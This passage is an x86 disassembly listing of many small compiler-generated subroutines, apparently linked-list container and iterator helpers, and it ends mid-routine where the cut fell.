; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415140 proc near ; CODE XREF: sub_401726j
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
call sub_401ED8
sub_415140 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esi+4], eax
push ecx
mov ecx, edi
mov dword ptr [esi+8], 0
call sub_4016D6
mov edx, [eax]
lea eax, [esp+8]
push edx
push eax
mov ecx, edi
call sub_40113B
mov ecx, [eax]
lea edx, [esp+10h]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
mov ecx, esi
push eax
call sub_401735
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4151C0 proc near ; CODE XREF: sub_401582j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401D9D
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40146F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CE9
sub_4151C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415230 proc near ; CODE XREF: sub_4012E9j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401DBB
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415230 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415270 proc near ; CODE XREF: sub_401D9Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401DBB
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415270 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4152A0 proc near ; CODE XREF: sub_401488j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401D9D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40217B
sub_4152A0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152E0 proc near ; CODE XREF: sub_401258j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_401D9D
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401D70
test al, al
jz short loc_41536D
push edi
mov edi, [esp+14h+arg_0]
loc_41531F: ; CODE XREF: sub_4152E0+8Aj
lea ecx, [esp+14h+var_C]
call sub_401FC3
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415351
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_401578
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_401FCD
; ---------------------------------------------------------------------------
jmp short loc_41535A
; ---------------------------------------------------------------------------
loc_415351: ; CODE XREF: sub_4152E0+4Ej
lea ecx, [esp+14h+var_C]
call sub_4020C2
loc_41535A: ; CODE XREF: sub_4152E0+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401D70
test al, al
jnz short loc_41531F
pop edi
loc_41536D: ; CODE XREF: sub_4152E0+38j
pop esi
add esp, 0Ch
retn 4
sub_4152E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153B0 proc near ; CODE XREF: sub_401E38j
push esi
mov esi, ecx
call sub_401ED3
mov eax, esi
pop esi
retn
sub_4153B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153D0 proc near ; CODE XREF: sub_401FC3j
mov eax, [ecx]
push eax
call sub_401F19
add esp, 4
retn
sub_4153D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153F0 proc near ; CODE XREF: sub_4020C2j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_4153F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415420 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015D7
neg al
sbb eax, eax
inc eax
retn 4
sub_415420 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415450 proc near ; CODE XREF: sub_401F23j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C8F
sub_415450 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415490 proc near ; CODE XREF: sub_4011B8j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E33
sub_415490 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415500 proc near ; CODE XREF: sub_401992j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401CDA
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415500 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415540 proc near ; CODE XREF: sub_402257j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401CDA
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415540 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415570 proc near ; CODE XREF: sub_401F0Fj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402257
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401AAA
sub_415570 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155B0 proc near ; CODE XREF: sub_401933j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
pop esi
add esp, 0Ch
retn
sub_4155B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415600 proc near ; CODE XREF: sub_401154j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401AEB
test al, al
jz short loc_41568D
push edi
mov edi, [esp+14h+arg_0]
loc_41563F: ; CODE XREF: sub_415600+8Aj
lea ecx, [esp+14h+var_C]
call sub_4011D1
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415671
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_4010DC
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_4017E9
; ---------------------------------------------------------------------------
jmp short loc_41567A
; ---------------------------------------------------------------------------
loc_415671: ; CODE XREF: sub_415600+4Ej
lea ecx, [esp+14h+var_C]
call sub_4018C5
loc_41567A: ; CODE XREF: sub_415600+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401AEB
test al, al
jnz short loc_41563F
pop edi
loc_41568D: ; CODE XREF: sub_415600+38j
pop esi
add esp, 0Ch
retn 4
sub_415600 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4156D0 proc near ; CODE XREF: sub_401037j
push esi
mov esi, ecx
call sub_401E97
mov eax, esi
pop esi
retn
sub_4156D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4156F0 proc near ; CODE XREF: sub_4011D1j
mov eax, [ecx]
push eax
call sub_402144
add esp, 4
retn
sub_4156F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415710 proc near ; CODE XREF: sub_4018C5j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415710 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415740 proc near ; CODE XREF: sub_401AEBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401EC4
neg al
sbb eax, eax
inc eax
retn 4
sub_415740 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415770 proc near ; CODE XREF: sub_401852j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401DB6
sub_415770 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4157B0 proc near ; CODE XREF: sub_4014BFj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40140B
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401F14
sub_4157B0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415820 proc near ; CODE XREF: sub_401901j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401BCC
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D7A
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415860 proc near ; CODE XREF: sub_40114Aj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D7A
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415860 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415890 proc near ; CODE XREF: sub_401410j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401D11
sub_415890 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4158D0 proc near ; CODE XREF: sub_401C76j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40140B
pop esi
add esp, 0Ch
retn
sub_4158D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415920 proc near ; CODE XREF: sub_40214Ej
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401339
test al, al
jz short loc_4159AD
push edi
mov edi, [esp+14h+arg_0]
loc_41595F: ; CODE XREF: sub_415920+8Aj
lea ecx, [esp+14h+var_C]
call sub_40135C
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415991
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_401EBF
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
jmp short loc_41599A
; ---------------------------------------------------------------------------
loc_415991: ; CODE XREF: sub_415920+4Ej
lea ecx, [esp+14h+var_C]
call sub_40118B
loc_41599A: ; CODE XREF: sub_415920+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401339
test al, al
jnz short loc_41595F
pop edi
loc_4159AD: ; CODE XREF: sub_415920+38j
pop esi
add esp, 0Ch
retn 4
sub_415920 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4159F0 proc near ; CODE XREF: sub_402275j
push esi
mov esi, ecx
call sub_401E42
mov eax, esi
pop esi
retn
sub_4159F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A10 proc near ; CODE XREF: sub_40135Cj
mov eax, [ecx]
push eax
call sub_4017E4
add esp, 4
retn
sub_415A10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A30 proc near ; CODE XREF: sub_40118Bj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401BCC
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415A30 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A60 proc near ; CODE XREF: sub_401339j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401456
neg al
sbb eax, eax
inc eax
retn 4
sub_415A60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A90 proc near ; CODE XREF: sub_40113Bj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_40175D
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415A90 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415AD0 proc near ; CODE XREF: sub_4016D6j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_40175D
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415AD0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415B00 proc near ; CODE XREF: sub_40217Bj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C62
mov edi, eax
push edi
call sub_401104
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401ED8
sub_415B00 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401104
push edi
mov [eax], ebx
call sub_401104
mov edi, [eax]
push edi
call sub_401104
mov ecx, [eax]
push ecx
call sub_4020A9
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401F19
add esp, 4
mov ecx, esi
push eax
call sub_4021B7
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401DBB
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415BA0 proc near ; CODE XREF: sub_401735j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401CBC
test al, al
jz short loc_415BED
push edi
mov edi, [esp+8+arg_0]
loc_415BBA: ; CODE XREF: sub_415BA0+4Aj
lea ecx, [esp+8+arg_4]
call sub_401A5F
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_40217B
; ---------------------------------------------------------------------------
lea ecx, [esp+8+arg_4]
call sub_40210D
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401CBC
test al, al
jnz short loc_415BBA
pop edi
loc_415BED: ; CODE XREF: sub_415BA0+13j
pop esi
retn 0Ch
sub_415BA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415C20 proc near ; CODE XREF: sub_401FCDj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401578
mov ecx, eax
call sub_401C62
mov esi, eax
push esi
call sub_4020A9
push esi
mov ebx, eax
call sub_401104
mov ecx, [eax]
push ecx
call sub_4020A9
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401104
push esi
mov ebx, eax
call sub_4020A9
mov eax, [eax]
push eax
call sub_401104
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401F19
add esp, 1Ch
mov ecx, edi
push eax
call sub_401500
push esi
mov ecx, edi
call sub_401CE9
sub_415C20 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415CE0 proc near ; CODE XREF: sub_40146Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401D70
test al, al
jz short loc_415D3A
loc_415CF8: ; CODE XREF: sub_415CE0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401578
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FCD
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401D70
test al, al
jnz short loc_415CF8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415D3A: ; CODE XREF: sub_415CE0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415CE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415D70 proc near ; CODE XREF: sub_401ED8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4020F4
sub_415D70 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415D85
mov edi, esi
loc_415D85: ; CODE XREF: ___:00415D81j
push esi
call sub_4020A9
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415D9A
mov edi, esi
loc_415D9A: ; CODE XREF: ___:00415D96j
push esi
call sub_401104
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415DC0 proc near ; CODE XREF: sub_401CE9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401E1A
sub_415DC0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DE0 proc near ; CODE XREF: sub_4020A9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415DE0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E00 proc near ; CODE XREF: sub_401F19j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415E00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E20 proc near ; CODE XREF: sub_401ED3j
mov eax, ecx
retn
sub_415E20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E40 proc near ; CODE XREF: sub_401DBBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40175D
mov eax, esi
pop esi
retn 4
sub_415E40 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E70 proc near ; CODE XREF: sub_401578j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4020C2
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_415E70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415EA0 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415EA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415ED0 proc near ; CODE XREF: sub_401AAAj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401F8C
mov edi, eax
push edi
call sub_401163
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C8F
sub_415ED0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401163
push edi
mov [eax], ebx
call sub_401163
mov edi, [eax]
push edi
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_402144
add esp, 4
mov ecx, esi
push eax
call sub_4015F0
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401CDA
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415F70 proc near ; CODE XREF: sub_4017E9j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010DC
mov ecx, eax
call sub_401F8C
mov esi, eax
push esi
call sub_401249
push esi
mov ebx, eax
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401163
push esi
mov ebx, eax
call sub_401249
mov eax, [eax]
push eax
call sub_401163
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_402144
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D61
push esi
mov ecx, edi
call sub_401E33
sub_415F70 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416030 proc near ; CODE XREF: sub_40132Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401AEB
test al, al
jz short loc_41608A
loc_416048: ; CODE XREF: sub_416030+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
